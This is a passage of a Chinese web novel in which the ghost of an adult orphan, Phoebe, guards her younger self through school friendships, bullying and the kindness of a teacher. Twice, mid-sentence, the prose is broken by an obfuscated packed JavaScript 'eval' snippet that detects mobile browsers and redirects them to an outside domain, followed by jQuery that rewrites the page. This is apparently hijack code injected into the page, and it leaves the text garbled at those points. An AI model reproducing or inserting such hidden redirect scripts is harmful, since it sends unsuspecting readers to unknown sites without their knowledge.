前面几排的同学都埋怨说，两个人去搬饭菜桶感觉人手不够，应该组织小组前后左右的四个同学一起去搬，因为铁桶的重量实在是太重了!每次铁桶两边的把手都将手指勒得通红，痛得我们老是停下来休息，更烦人的是还得爬教学楼的楼梯，这简直是一个讨厌的活儿。 大力士满秋不在了，来了个力气比小菲比更小的女孩儿搭档干活儿，班主任特意安排同桌的学号都排在一起，熟人可以经常一起搭档做事。菲比对新同桌还不太熟，她们在逐渐搭档干活儿以后，才开始熟悉。 小菲比的新搭档是她后来在学校的好朋友，这是小菲比在小学交到的最后一个朋友。以前满秋在的时候，她在老家野来野去锻炼出来的力气大一些，便经常帮同桌一起提桶，如此，小菲比搬沉重的铁桶就会比较轻松，现在小菲比得肩负起照顾另个瘦弱女孩儿的责任。 她们在搬饭的路上，新同桌认真地做了一次自我介绍：“哈喽，李菲比，我叫刘逞美，我中间的那个字你会读吧，呈现的呈，下面一个走字底。实际上我的逞美俩字，取自逞娇呈美，我的名字好听吗？” 小菲比确实比较关注名字的意义，只是她对逞字很陌生。她也介绍自己的名字过后，询问刘逞美：“哈喽，你的名字当然好听，我会记住你的逞字是怎么写的，嘿嘿我还得回去查查字典……这是谁为你取的名字呢？” 刘逞美回答那人是爸爸。 小菲比疑惑地问：“为什么不是你的妈妈来取名呢。” 刘逞美不假思索地说，因为在他们家是爸爸做主当家。 小菲比笑了一下：“嗯……在我们家是妈妈们做主。” “什么？妈妈们？你是说你有两个妈妈吗？”刘逞美说完话，还张大了像小鸟喙的红嘴。 小菲比和同桌将饭菜桶都放下来休息了一会儿，她挠了挠脑袋，支支吾吾地回答：“啊……我有很多个妈妈……因为我是福利院里的孩子……里面的院长、老师、保育员……都是我的妈妈……” 话毕，小菲比感到后悔和懊恼，她真后悔随口把自己的底细告诉给了刚认识的女生，她委实不了解对方是怎么样的人，这实在是太大意了。满秋走之前明明就提醒过她，不要随便相信外面的人，人心难测，说不定人家会看不起我们，还会嘲笑我们。谁叫满秋过去在老家遭受的白眼已经够多了，吃一蛰长一智，开始上学以后她就不爱告诉别人自己的底细。 刘逞美观察到了小菲比脸上的神情，她流露出了同情的神色，自主保证道：“哇菲比，你家有那么多妈妈真好，我也更喜欢妈妈呢。如果你不希望其他人知道这件事的话，我会帮你保密的，很谢谢你肯信任我。” 听了这番话，小菲比的内心暂时安稳了下来，但她还不足够相信新同桌，不过她也谢谢了刘逞美想为她保密的事情。然后她们休息好了，重新有干劲儿地提起饭桶和菜桶，摇摇晃晃地上楼。力气不够的刘逞美总是落后，小菲比就回头帮她把铁桶再一起提上去赶进度。 我本来想过要帮小菲比的忙，希望她以后提铁桶能轻松一点，可我想到这能锻炼她手臂的肌肉力量，就只是看着她们干活儿。如果饭菜桶都不经意快打倒了，我倒是能保证饭菜不撒出来。 刘逞美难以为情地说，她以前学校的上个同桌是男生，每天充满了力气地帮她搬东西，抢着展现绅士风度。现在换成个子比她矮的小女生来帮忙，她觉得怪不好意思的。她找理由透露，她是早产儿从小体弱多病，力气暂时没有锻炼出来，真的很麻烦菲比了，她一定会多吃饭和运动，让自己变得强壮，增加力量。 小菲比微笑着说，没关系，关照是互相传递下去的。说着，她想起了满秋照顾她的场景，她想，既然别人能帮助她，现在她为什么不能帮助别人呢？ 刘逞美问传递什么？ 小菲比一带而过说没什么。她看见身材细瘦的刘逞美逆着光晕站在走廊里的样子，顿时感觉她和满秋一样生动美丽。随即她却问刘逞美：“你觉得我好看吗？” “好看，特别是你帮助我的样子，像Angel。”刘逞美拽了一下从家教那里提前学的英文。 “安鸠是什么？是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630347|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟吗？”听不懂的小菲比问。 刘逞美解释了一下那个英文是天使的意思，她们刚好很不容易地到了教室。她们忍饥挨饿做重活儿搬来了饭菜，中午饭她们吃得很香，尤其是小菲比吃得狼吞虎咽，如果饭菜充足，她就爱大口大口地吃饭，吃完了还能再去盛一盘饭菜。 午睡的期间，小菲比与刘逞美窃窃私语，她们把脑袋一起埋在毯子里讲话，小菲比忍不住问起关于新朋友拥有怎样的家庭这种话题。 刘逞美想了想回答，她的爸爸是做生意的，她的妈妈是家庭主妇，他们有时候会吵架，大多尽量避着她吵架。爸爸对她很严厉，有时候很凶，妈妈平时比较温柔，可是一旦发飙起来的样子像个魔鬼，他俩就像魔爸和鬼妈。他们老是强迫她提前学习，请了家教安排她学这个、学那个……一点儿都不好玩，很累…… “听起来他们是希望你学到很多的知识……”小菲比追问，“那你的父母会拥抱你的朋友吗？或者亲你的朋友。” 刘逞美觉得这话有点摸不着头脑，她回忆过往说：“好像不会，我没见过他们拥抱我的朋友，最多在口头上和我的朋友亲昵一些。” 菲比略感失望，她本来还想下次放学要是见到刘逞美的父母，她就能得到他们的拥抱和亲吻。我的灵魂听见了小菲比的心声，就拥抱住了她，也亲了亲她的脸蛋儿。她从上小学以后已经不太看得见我了，只有她被欺负的时候，我会被逼出潜力让她看见我，方便教她怎么反抗。 小菲比问过我是谁？我是她幻想出来的守护神吗？ 我不知晓该如何回答小菲比的问题，只好默认了她的说法。于是她不仅不害怕我，还觉得我很亲切和好玩。以前她把看到我的事情告诉过大人，他们认为她可能有精神疾病，也可能是太孤单了幻想出了别人，安排她看过心理医生。连满秋也问过小菲比，她幻想里的温柔女人是什么样的，做了些什么？ 小菲比只对好朋友知无不言，言无不尽。在小菲比的讲述中，我是一个令她安心的存在，很神秘强大，我能够保护她，安慰她，拥抱她，亲吻她…… 这使得满秋很羡慕小菲比拥有幻想伙伴。 后来我尽量少出现在小菲比面前了，不想让她觉得自己奇怪，随着成长，她说不定会因为外界的评判认为自己的脑子真的有问题呢。 而我在小菲比的梦境里与她相见之时，通常让她看不清我的脸。如果年幼的她提前知道我是未来死去的她，说不定会吓到她。我了解自己的秉性，小时候我听院儿里的大孩子讲鬼故事，都能吓得在大夏天用被子把自己捂得浑身是汗。 我的灵魂抱着小菲比入睡的时候，她能感受到那种舒服如同温暖的海洋包裹着她，我总是在她睡觉的期间安抚她，她和同桌说了会儿话就睡过去了。 刘逞美却一直没有睡着，她似乎看穿了小菲比的心思，呢喃着为新朋友感到难过。她想到了小菲比今天透露的身世，午睡快结束的阶段，她回神过来想明白了同桌问话的确切用意。这时候她告诉睡眼朦胧的小菲比，等以后她的父母见到了她新交的朋友，她会尽量邀请父母拥抱新朋友的。 小菲比被这个消息弄得完全清醒过来了，她不再发困，变得有些兴奋，想象力丰富的她已经开始在幻想她被刘逞美的父母拥抱。 下午上课，小菲比神采奕奕地期待着和刘逞美父母见面的场景。老师讲的课她都没有怎么听进去，直到课上讲到小蝌蚪的时候，老师通知学生们离开教室，所有人便一窝蜂去了学校菜地附近的小池塘周围，大家能亲眼观察绿水里的小蝌蚪，小菲比的注意力才回到了现实里来，她对接触自然里的一切很感兴趣。 任课老师嘱咐大家要轻轻地摸小蝌蚪，不要捏坏了哦，小蝌蚪也是生命，我们要珍惜和尊重任何微小的生命，不得随意虐待。他的话音刚落，有个调皮的男孩儿就捏爆了一只黑色蝌蚪。 “呕……”有个女生作呕地说，“天呐!灰色的蝌蚪是青蛙的孩子，你捏的可是黑色的蝌蚪，那是癞蛤蟆的孩子吖，等着好了，你的手会长疙瘩的。”她表明，她有个姐姐就是碰过癞蛤蟆后，手指上长了丑陋的疙瘩，丑得和癞蛤蟆背上的皮肤一样恶心，姐姐用剪子把疙瘩剪掉了，皮肤上还会重长疙瘩。 这个女生夸大其词的说法吓到了小男孩儿。老师批评他捏死新生命以后，又叹息着宽慰孩子们说，摸小蝌蚪没事。他想了想，话风一转，吓唬了一下其他调皮的孩子说，你们要是捏死了蝌蚪，手上说不定就长疙瘩了。 这有效地控制了学生们不乱伤害蝌蚪的行为。 小菲比也去摸了摸小蝌蚪，她听了女生的话特意挑了灰色的蝌蚪去触摸，她摸小蝌蚪的动作很轻。她很喜欢传说中的小蝌蚪，她早就听过小蝌蚪找妈妈的故事。她觉得自己跟小蝌蚪同病相怜。 大家看完蝌蚪，任课老师顺便请同学们把自己班上的那块菜地打理一下，拔拔野草，给菜根和菜叶都浇浇从池塘打上来的水。今天的最后一节课差不多就到此结束了。 放学以后，值日生们得分工打扫教室卫生，并去校园里自班的绿化带除杂草。小菲比和刘逞美一组，她们在绿化带拔完杂草，便坐在一棵茂盛的松树下面聊天，小手上都捡起了微刺的松针拨弄，她们聊的又是刘逞美的家庭。自从刘逞美知道小菲比的身世以后，小菲比可以尽情地向她打探想了解的家庭，刘逞美也仔细地告诉朋友想知道的一切。 “刘逞美，你真幸福，希望你们家永远幸福下去，一家人永远不分开。”小菲比羡慕地说。 刘逞美也祝福她：“菲比，你的大家庭也不赖啊，你有梅香妈妈和其他那么多个妈妈，有爱心人士关心你们，还有在彩虹院里帮忙的爸爸和门卫爷爷……以后你肯定会找到你的亲生父母的。” 我的灵魂想找亲生父母，却无从下手。我试过从梅香院长的办公室里找到我的档案查看资料，可惜上面除了有在门口捡到我那时的信息以外，没有其他有用的消息，这么多年确实无人来福利院联系过我。不过我会等待下去，找到时机，我相信事情会有转机的，我来到很多年前或许不是偶然。 6. 守护神 满秋不在，除了我长大后的灵魂，没有人再全心全意地为小菲比出头，小菲比必须学会为自己出头，拯救自己。 在放学的路上，小菲比被偷袭了。由于小菲之前没有把作业给福利院里另个男生抄，他越看她越不顺眼，不仅差点儿抢过她的作业想撕掉，在回家的途中他因报复不成功，突然上前用力地推了她一把。当时我在琢磨如何找到父母的事情为此分神了，没能及时阻止这个臭小子的恶行。还好我之前用意念控制住了男孩儿撕作业的动作，幸好保住了小菲比写好的作业。 小菲比被推倒在地那一刻，脑子咚的一声撞到了旁边的墙上，她又惊又痛地懵了一会儿，便坐在地上逐渐仰头哭泣。 这也是一个教她反击的好时期，于是我努力地让小菲比看见我的灵魂，严肃地向她发问，除了哭你还会什么？你现在被撞昏头了吗？还是满秋走了你感觉没有人帮你，你不知道去教训他吗？你有手啊，揍他丫! 坚强的小菲比擦干净眼泪，踉踉跄跄地爬了起来，她很快更重地把小男孩儿推倒在地，男孩儿的额头也瞬间撞在路边的墙上，头上顿时肿起一个大红包。他同样坐在地上哭，并且哭得撕心裂肺，好似一开始先欺负别人的人是小菲比一样。 他俩紧跟着打了起来，我从中施显能力让那小子屡屡落下风吃瘪。小菲比最后骑到了小男孩儿的身上拼命压制住了他，她急躁地吸着清鼻涕，气愤地捏起拳头，简直把他揍得满地找牙。 接送孩子的工作人员发现后面的情况，赶忙来阻止他们打架。了解事情的起因过后，工作人员却教导小菲比是姐姐要让着弟弟，他比她小一点儿，她这个做姐姐的要有榜样，动手打弟弟是错误的行为，弟弟还是小男孩儿呢。她不给他抄作业，还不能教他做题吗？屁大点事那么计较和纠结干吗？ 本想得到公平的小菲比愣住了，她迷茫地看向了我。我想，她小小年纪也有说不上来的不舒服，却不知道该怎么表达。于是我教导她，只要在你眼里的是事那就是正事!说出这种话和做出这种事的他们才是屁大点脑子的人渣!你被人先惹到就生气完全是正常且合理的!凭什么要求你让先使坏的小子？凭什么让你必须为他辅导作业？你又没有先惹别人!帮不帮弟弟得看你的意愿，你有权利拒绝!你没有错!你只不过是以牙还牙、以眼还眼，何错之有？ 我继而教她应该怎么做，该如何向大人表达心情。 于是小菲比暗自下了决心后，她抬头对工作人员说：“叔叔，那我还是个人呢，我为什么要忽略自己的情绪？我有权利表达并且正视自己的任何情绪，这不叫计较和纠结!您是不是文盲呀？连我一个小学生都知道计较和纠结不是这么用的，怎么能滥用词语呢。更重要的是，以大让小是错误的观念，人人平等，我们应该就事论事，专注于事情的本质，批评主要犯错的人，而不是先反过来一昧骂无辜的人会反抗，我不及时帮自己，谁会帮我呢……如果您非要逼迫我让别人，那么教我的人是不是应该以身作则呢？而且为什么要强迫我呢，我是人又不是马戏团里只能听别人命令的动物……”于是小菲比冲工作人员吐了口水，麻烦他以大让小让让她，别“计较”和“纠结”哦。 小菲比把我有条有理说出来的话，都全部念了出来。 顿时愠怒的工作人员在体验到憋屈的感觉之后，一时语塞，他只好头痛地继续和稀泥，逼迫他们互相道歉，也要小菲比向他道歉，质问她怎么能这么做呢？还东扯西扯，扯那么话。 小菲比也质问他们怎么能这么对她呢？他才是听不懂人话的文盲在扯。 并表示弟弟先道歉，她才道歉。 无奈的工作人员只好胁迫小男孩先向姐姐道歉后，小菲比只向工作人员道歉口水的事，便臭屁地快跑到队伍里其他的位置，与其他孩子走在一起了。她完全不想向坏男孩道歉，我们都认为他挨打是做错事后的教训，天下哪有白惹事的道理。 而工作人员也是被小小年纪的菲比说蒙了，叹她伶牙俐齿太能说了。 学生们回到了彩虹儿童院，菲比会组织伙伴们一起做作业，大家都以为她是学霸，她长得也像学霸。其实她就语文课和艺术课的成绩好而已。她是一个喜欢先把手头的事情完成，再去享受玩乐的孩子，这样无后顾之忧，否则耽搁着什么事，她就无法玩得畅快淋漓，内心会一直想着事情。 梅香院长和老师们夸过小菲比的这个优点呢。 小菲比做完作业准备去放松，谁知路上欺负她的小男孩儿去找来了大点的孩子，他先一通乱告状，卖惨让另个哥哥教训她。那个哥哥和弟弟平时的关系比较好，他想当然地来找菲比的麻烦，二话不说就扇了她一巴掌，大吼她不许不让着弟弟。 我该死的灵魂最近喜欢走神，又没有阻止到这突如其来的一巴掌。在彩虹儿童院里发生这种事确实很寻常，特别是对于落单的孩子。 生前很多时候我仿佛被困在了噩梦里，醒不来，想要呼吸，却总是陷入过往的沉重记忆当中，感到疲倦不堪。我记得我时常回想起那些被欺负的瞬间，心里非常不甘心，整个人既记仇窝火又难过不快，然后脑海里一遍遍地重复当时的场景。 眼下，我虽然帮着小菲比立刻还手了，迫使那俩孩子战斗力变弱，方便她肆意地还击他们，过后她还是擦着眼泪哭了很久，抽抽噎噎地问向身边的灵魂：守护神啊，为什么别人总是欺负我？我到底做错了什么？难道没有父母撑腰的孩子就是罪过吗？ 我心酸地拥抱住小菲比，轻轻吹了吹她红肿的脸颊，坚定地说，你没有错，错的都是那些欺负人的坏孩子，错的是那些大人和稀泥的态度，我们不可以妥协，永远都要反击他们，不然他们还会再欺负过来，只有你自己能保护自己，知道了吗？ 菲比乖巧地点点头，她与我对视的那双眼睛乌溜溜的，像桂圆核珠子，黑亮亮的，哭过以后看起来更明亮有神了。 我们经过这几次的事情，到后来我尽量时刻地注意着小菲比，绝不让她再有被人欺负的风险。以后谁再想欺负她，都无一例外失败了，他们还会先被我的灵魂修理一顿。我总是保护着小菲避免受到外界的伤害，最后却没有防住后来心灰意冷时的自己。 但是没关系，既然我没有彻底地消失，那么我依旧可以重新来过。 我保护小菲比最成功的一次是，班上有个愚蠢的男生想猥亵她，当他把手伸向她不可以被异性触碰的部位时，敏锐的我立马愤怒地用强烈的意念控制住了他的手，并且让他看到我一闪而过的那张恐吓的脸。他恐惧地僵着身体动不了并感到害怕，他大约明白自己白天见鬼了。 小菲比感到奇怪地问他，你怎么了？ 他心虚地找借口说不知道，想帮她拍身上的灰他就动不了。 小菲比明白那一定是守护神在保护她，她相信我做什么都是有原因的，不会无缘无故地欺负别人。所以她想到那个男生或许对她不怀好意，她就离开是非之地跑去找刘逞美玩了。 等那个男生能动以后，他开始讲学校里有鬼，还胡编乱造说学校是建立在乱葬岗之上。引得班级里的同学都开始讲起了灵异的恐怖故事，我作为灵魂听得发笑，而小菲比这时的胆子并不大，她既好奇地听同学们讲鬼故事，又害怕地搂住了刘逞美。 有的同学们嘴贱地造谣说，附近的孤儿院也建立在坟墓场上，而且里面死了很多孩子，被抛弃的死婴儿怨气冲天，孤儿院也是鬼魂聚集地，厉鬼晚上会跑出来吸小孩们的精神气，所以孤儿院才有那么多痴痴傻傻的疯小孩……真可怕……大家一定要远离孤儿院和里面的孤儿，他们肯定被鬼附身了…… 我忍不住重重地拍了那胡说八道的小孩的后脑勺好几下，她立马抱头，双手乱搓着脑袋，惊声尖叫说，啊啊啊鬼打我的头! 这次还真被她说准了。大家吓得一哄而散。 刘逞美怕得与小菲比互相抱得紧紧的，她俩的动作就像动画片里的小人，洁白的牙齿都在颤抖。 小菲比听了这些瞎编乱造的话感到害怕，她回到福利院里面都止不住地乱想，晚上睡在大通铺又将被子当保护罩，把自己盖得严严实实。以前她能和满秋抱在一起互相陪伴，就没那么怕了。现在她在院儿里没什么贴心亲密的朋友，内心越来越孤单。 连我这个守护神也缓解不了她的孤独，当我总是一副美丽温柔透着白色光辉的模糊模样出现，她才没那么怕我，要不是我从小就在她面前晃来晃去，她肯定也怕我。当她听了鬼故事以后，对我的存在也产生了怀疑。 小菲比悄悄地问我：“你是鬼吗？” 我一直都否认这个说法，我担心她害怕。她又问，我是她幻想出来的人，还是真实存在的呢？ 对于这个问题，现在的我也有所疑问，眼前的小菲比是我幻想出来的，还是真实存在的呢？我是真的来到了很多年前吗？这会不会是一场意识的梦境？ 我只好说，我也不知道。但只要我在，我都会守护着帮助你，请你放心，我肯定不会伤害你的。 小菲比突然问：“我会死吗？你呢？” 我心想，我们从出生开始就在走向死亡，每个人都会死，只是早晚的区别，以及生前是否对得起自己，是否没有伤害过别人…… 我没有把内心的想法告诉小菲比，我只是跟她讲，你离死亡还很遥远，你这么小，只需要去想怎么多姿多彩地生活下去，不是吗？ 小菲比点了点头，她想听精彩的童话故事，我就在她的耳边飘飘忽忽地讲起了睡前故事。 我看到小菲比安详地闭上眼睛睡过去，便暂时不去想这一切的真真假假。我只想踏实地多爱我自己哪怕一点，为童年的那个小菲比撑起一片充满阳光的天空。 放双休日的小菲比在孤单之中，她想到了低层楼那群残障的孩子们， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630348|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在空余的时间会从楼上跑到楼下去探望他们。 底层楼住的大部分孩子都是残障的，这部分残障孩童几乎整天都被关在房间里，他们痴痴呆呆地自己活动，颇像乱舞的行尸走肉。孩子们多数歪歪扭扭，有的流口水，有的斜着大脑袋和眼睛，有的四肢不协调或者缺胳膊少腿，有的嘴里碎碎念或模糊呓语着什么……他们基本都无法自理，并且几乎都穿着尿不湿包住了控制不住的排泄物和粪便，不管年纪的大小。 而周围的环境潮湿灰暗，难闻窒息，让人喘不过气来，因此我一直觉得自己算是彩虹儿童院里的幸运儿。我自幼感受到关满残障孩童的房间可怕又可怜，我害怕那里，害怕低层楼，连路过都觉得痛苦得被密密麻麻的针扎了。其实很多时候自己也不想长时间待在那里照顾其他的弟弟妹妹，那里的一切总是让人心口压着什么重物，导致我呼吸有些困难。可是我又必须让自己去帮忙，他们实在太过无助和麻木，而且一旦我克服心理上的困难去帮助他们，以后也会有人来帮助孤苦的我似的。 满秋喜欢说一句话，我帮你，你帮我。我是你，你是我。每个人都是你我。 低层楼的保育员妈妈每天都忙不过来，让孩子们饿肚子也是存在的事情，那不是故意的，几个妈妈们实在太忙碌了，几十个孩子都需要她们，她们分身乏术。 先天残障的孩子住在楼下比较方便，他们又不好爬楼梯，各方面比较健全的孩子则住在楼上合适。院儿里的大孩子都会学习照顾小孩子，或者各方面能力不错的孩子会帮忙照顾比较弱小的孩子，我们都要在空余时间从楼上跑下来做做家务，为各位妈妈们减轻负担。 我从学前儿童开始就能帮助保育员妈妈们，耐心地喂残障孩童吃食物，以及打扫卫生等做些力所能及的小事。当年我会想象自己是下凡的天使，慢慢展开做保姆养小孩的游戏活动，毕竟以前帮过我们的大孩子在我眼里就是天使。 我也会想象自己是舞刀弄剑的公主或者武侠女子，行侠仗义游走江湖，面对院儿里小朋友之间恃强凌弱的事，我会努力鼓起勇气站出来保护弱小，而神秘力量保护着我，在武力值上资助我。 小菲比以前不知是被冻伤过还是本身体弱，反正也不是很健康，幸亏她是少数后天经过治疗而长健康的孩子，所以早期没什么大人想要领养她，他们以为她看起来像养不活的样子。而她后来不仅健康还能帮很多的忙，院儿里的大人们也对她青睐一些，欣慰地看着她帮忙，也不忘让她别落下功课。 我们彩虹儿童院大部分孩子的成绩都是中下，总体比较差些，只有少数的孩子成绩优异，小菲比也是中等的成绩。 虽然她的成绩算不上好，但是她在梅香院长和满秋的影响下算是喜欢上学，有时候待在福利院，她也有很多说不上来的压抑难受，去了外面就能释放压力一样，就算学校里也没有多大自由，至少能接触不同的世界，上学路上的风景也让她感到自由。 小菲比照顾病弱的残障孩童时，我注视着他们，思绪万千。随着成长，我后知后觉认为身体是在不断地老化坏掉，简直跟机器一样，慢慢生锈，零件崩坏，最后坏得一塌糊涂而拼凑不起来。 小菲比喂好她负责的弟弟妹妹吃完饭，她也帮着打扫房间里的卫生。小菲比沉浸于擦窗户的时候，附近有个残障的弟弟睁着大眼睛盯着她，他乌黑的长睫毛很浓密，看起来惹人怜爱。他结结巴巴地说，姐……姐姐……抱……抱…… 不忍心的小菲比就放下了手中的活儿，她费力地把他抱了起来摇晃着哄念：“儿子乖，妈妈爱你，你要听话，以后不要欺负别人，我就爱老虎油。” 爱老虎油是刘逞美教她的谐音英文，意为我爱你。 小菲比哄“儿子”的场景被玉琴妈妈看见了，她忍俊不禁笑话道：“哟，菲比，你这么小都当妈啦？那我岂不是你们的姥姥和祖奶奶了。” 小菲比红了脸讪讪地放下弟弟，她转身拿走窗台上的帕子，一溜烟逃跑之前说，她要去院子里擦车了。 玉琴妈妈在房间里故意喊道：“怎么又是你擦车，你前不久不是擦过了吗？” 小菲比知道玉琴妈妈是在拿她开涮，知道她不好意思跑掉又去擦车，把别人的活儿干了。 这个周末小菲比做了很多劳动，其他的孩子也没少帮忙做家务，再加上大家各方面的总体成绩都提升了。傍晚，梅香院长就奖励着组织大家看了一场电影，他们在院子里挂起一块很大的白里泛黄的幕布，将投影仪的光芒投射到了那块幕布上面，就能开始放映电影了。 我们看的是卓别林的电影《淘金记》，小菲比喜欢娓娓道来的冒险故事，更喜欢电影中的音乐伴奏，长大以后我常搜出各种各样的电影里面的音乐久听不腻。如今，我坐在小菲比的附近，也一起兴味盎然地重温了这部经典的电影，浪漫圆满的电影好似也映射了我们难得能看电影的心情。 7. 最后的早餐 比起福利院不算香也不难吃的早饭，小菲比更喜欢早点跑去学校的食堂里蹭吃蹭喝，只为多吃一些香喷喷的早餐，小学的菜肴美味丰富。接送福利院孩子上下学的管理队伍有几批，她每次都早早起床准时去第一批队伍。 小学的早餐食堂主要是为老师们开放的，有一部分小朋友早到学校的话，三三两两会去吃免费的餐食。小菲比基本都能赶上学校最后的早餐。 老师们吃早餐的地方，在食堂大堂右侧进去的一间不大的小食堂，递食物的窗口前面就是饭桌椅子一体式的座位了。起初小菲比随着西伯利亚溜进来第一次吃早餐的时候，她心里怪不好意思的，完全不敢多看一眼食堂里的老师们，她比较畏惧老师们的威严。西伯利亚虽然也敬重好老师，但是平时比较神经大条，压根觉得这没什么。 食堂做的员工餐，老师们不一定能吃完，所以有些孩子来蹭吃蹭喝，学校完全不介意，认为这样不浪费，还呼吁没吃早饭的孩子可以早到学校用餐。 小菲比常在窗口点没有很辣的红油素面、软糯的紫菜饭团、香气扑鼻的小笼包、清淡的海味馄饨和大白菜年糕汤，还有外酥里嫩的葱香生煎包。自打她上了小学，享受学校里的伙食是她感到最幸福的事情之一，饭菜好吃到令她手舞足蹈。吃得她的婴儿肥都长出来了，不再像以前那么瘦巴巴的似个小猴子。 校园食堂每天的早餐都不一样，有什么吃什么，反正她几乎喜欢吃每样食物，除了香菜和部分内脏。 小菲比本来不喜欢和西伯利亚坐在一起，不过西伯利亚能吃其他的食物，他们就可以一块儿分享，同时品尝到多种早餐。后来有其他同学八卦造谣说，他俩在吃早饭的时候眉来眼去地约会，小菲比就不想再和西伯利亚一块来吃早饭，然后她改天约了刘逞美一起吃早饭，为此刘逞美每天得比过去提早半个钟头起床，她的父母还以为她在用功读书，喜眉笑眼地就把她早送来学校了。 如果菲比和好朋友搭档吃饭，她坐在孩子堆里，就没有老师看她乖巧，主动地坐到她附近，时不时与她说话，还要啰嗦地问功课。如果她和老师一起挨得很近地吃饭，她的神经容易绷起，则会消化不良。 小菲比只喜欢坐在班主任语文老师的附近，反正她的语文成绩最好不怕被问，她还是语文课代表呢。这门课的老师算是老师们之中脾性最温和的人，班主任除了忍无可忍发飙骂上蹿下跳的男同学，她平时说起话来温温柔柔的。而且赵老师知道小菲比的身世，她从来细心保护着福利院学生们的隐私，她平时对这部分学生更要关注上心一些，也很抓他们的成绩，盼望没有父母依靠托底的他们将来能有好的出路。 在食堂吃早饭的时候，赵老师会给小菲比加菜，劝正在长身体的她多吃点。老师还会侧面打听小菲比家里的饭菜充足吗？好吃吗？ 小菲比鼓着腮帮子委婉地回答，家里的饭菜没有学校的好吃，家里以前的饭菜没那么多，现在各位老板们给妈妈发的钱多了，伙食就变得丰富多了。 赵老师思忖了一番，后来也把攒起来的工资捐了一大部分给福利院。她希望福利院里的孩子们能继续有丰富的食物吃，一个个长得健康强壮，平安就好。到学校食堂来吃早点的孩子，她都有默默注意，福利院里的学生们要多一些。正是因为如此，学校的食堂会多做一些早餐。 过了几天，我的灵魂从身后拥抱了一下打电话的赵老师，在她的耳边用小时候的声音说，谢谢您，我小学那位最爱的老师。赵老师似乎听见了一点儿余音，等她在办公室回头并没有看见小菲比的身影，她还笑话自己做了好事就想马上得到学生的夸赞，居然都出了幻听。 晌午，赵老师与学生一起在讲台上午睡的期间，我入了她的梦境，亲自感谢她，把童年时未能说出口的话表达了出来。我尽量欢快地转了一圈，便告诉赵老师，我是长大后的菲比，我在未来都一直记着您呢，老师快看，我变得多么健康，个子都长得高高的。非常谢谢老师关心我们福利院的学生，还私下捐钱给我们，虽然你让梅香妈妈别告诉我们你把自己攒的钱都捐了，只给自己留了一小部分生活费，不过梅香妈妈还是悄悄地告诉了我们，我都知道呢，从小就在心里感激您…… 赵老师的眼睛湿润了，她动容地伸出双手把我揽入怀里，问候道：“嗯……老师得意的语文课代表长漂亮啦……你真的是长大后的菲比吗？怎么瘦了呢？乖孩子，长大后没有好好吃饭吗？以后吃饭记得多给自己夹菜，多吃一点儿，就当是帮老师为你夹的……” 在我度过小学的那六年里，赵老师是学校里唯一那个会把我抱起来的老师，我抱住她的脖子轻声地称呼过她几次“妈妈”。我在梦境里再度把双手搭到赵老师的脖子上，仿佛重温了旧日的温情时刻，我感恩地答应：“好啊妈妈，我以后会多吃饭的，您也要好好吃饭……未来千万别为了臭男人抑郁起来，茶不思饭不想的……” 我和赵老师在梦境里叙旧没一会儿，我想起一件重要的事就握住她的手，紧紧地盯着她棕色的眼睛，郑重其事地叮嘱：“老师，以后如果你遇到一个叫王灏的体育老师，千万不要和他结婚，他会背叛你的，他在你怀孕后和数学老师搞在了一起……” 我后来讨厌体育课和数学课不是没有道理的，五年级新来的体育老师和老油条数学老师人品皆不好，他们都对孩子不友好，动辄打骂，并且私德有亏，导致我辜负了这两门重要的学科。 我正嘱咐着这件事，赵老师还没回答我，班上的男同学发出声音吵醒了讲台上的赵老师，我就被坍塌的梦境弹了出来。 我迅速来到那个调皮男生的旁边，没好气地揍了他一拳，赏了他的脑袋一下，他吃痛地捂头。 赵老师也拿着鞭子装作气势汹汹的样子，一鞭子轻抽在了他的后背上，她压低声音说，她不打孩子的头，抱头有什么用，她命令这调皮小子不许再发出任何声音，他现在是不懂午睡的好，再发出声音的话……既然不爱睡觉，就出去罚站好了。 赵老师路过睡得正香的小菲比时，她顿住了脚步，身体微微一侧，她抬手伸出食指极轻柔地擦过菲比的脸颊，顺便把孩子嘴边的口水擦了擦，便露出淡淡的温婉笑容，不紧不慢地回到了讲台上坐下。其后赵老师撑着下巴，一直注视睡着的菲比，大约在回想梦境。她还在草稿纸上写了一个王字，打上了叉的记号，也许她没记住灏字。 可是日后学校里真的来了一个姓王的体育老师，赵老师在他攻势迅猛的追求下，照样和他在一起了。她似乎忘记了那个梦境，忘记了我的嘱咐，依然重蹈覆辙了。我曾强迫小菲比冒险去给赵老师警告说，不要跟王老师谈恋爱，他是花心烂萝卜!除了皮囊长得好一点以外整个人一无是处! 一头雾水的赵老师哭笑不得，稍后若有所思，她好像回忆起了曾经的梦境，但她摇摇头并不当真，她似乎以为人生怎么会和无稽之谈的梦境一样呢？ 赵老师回家生孩子遭遇“王八男”背叛之事，当年在小学里传得沸沸扬扬，她和烂萝卜男离婚后，就带着孩子远走高飞了，应该展开了新的生活。最后不要脸的体育老尸和数学老尸竟然在原地堂而皇之地走到了一起，我们大部分孩子都讨厌这对伤害了赵老师的奸夫淫夫。所以我们给这俩人取外号叫老尸，还有乌龟王八蛋、烂萝卜、老鸡婆什么的。 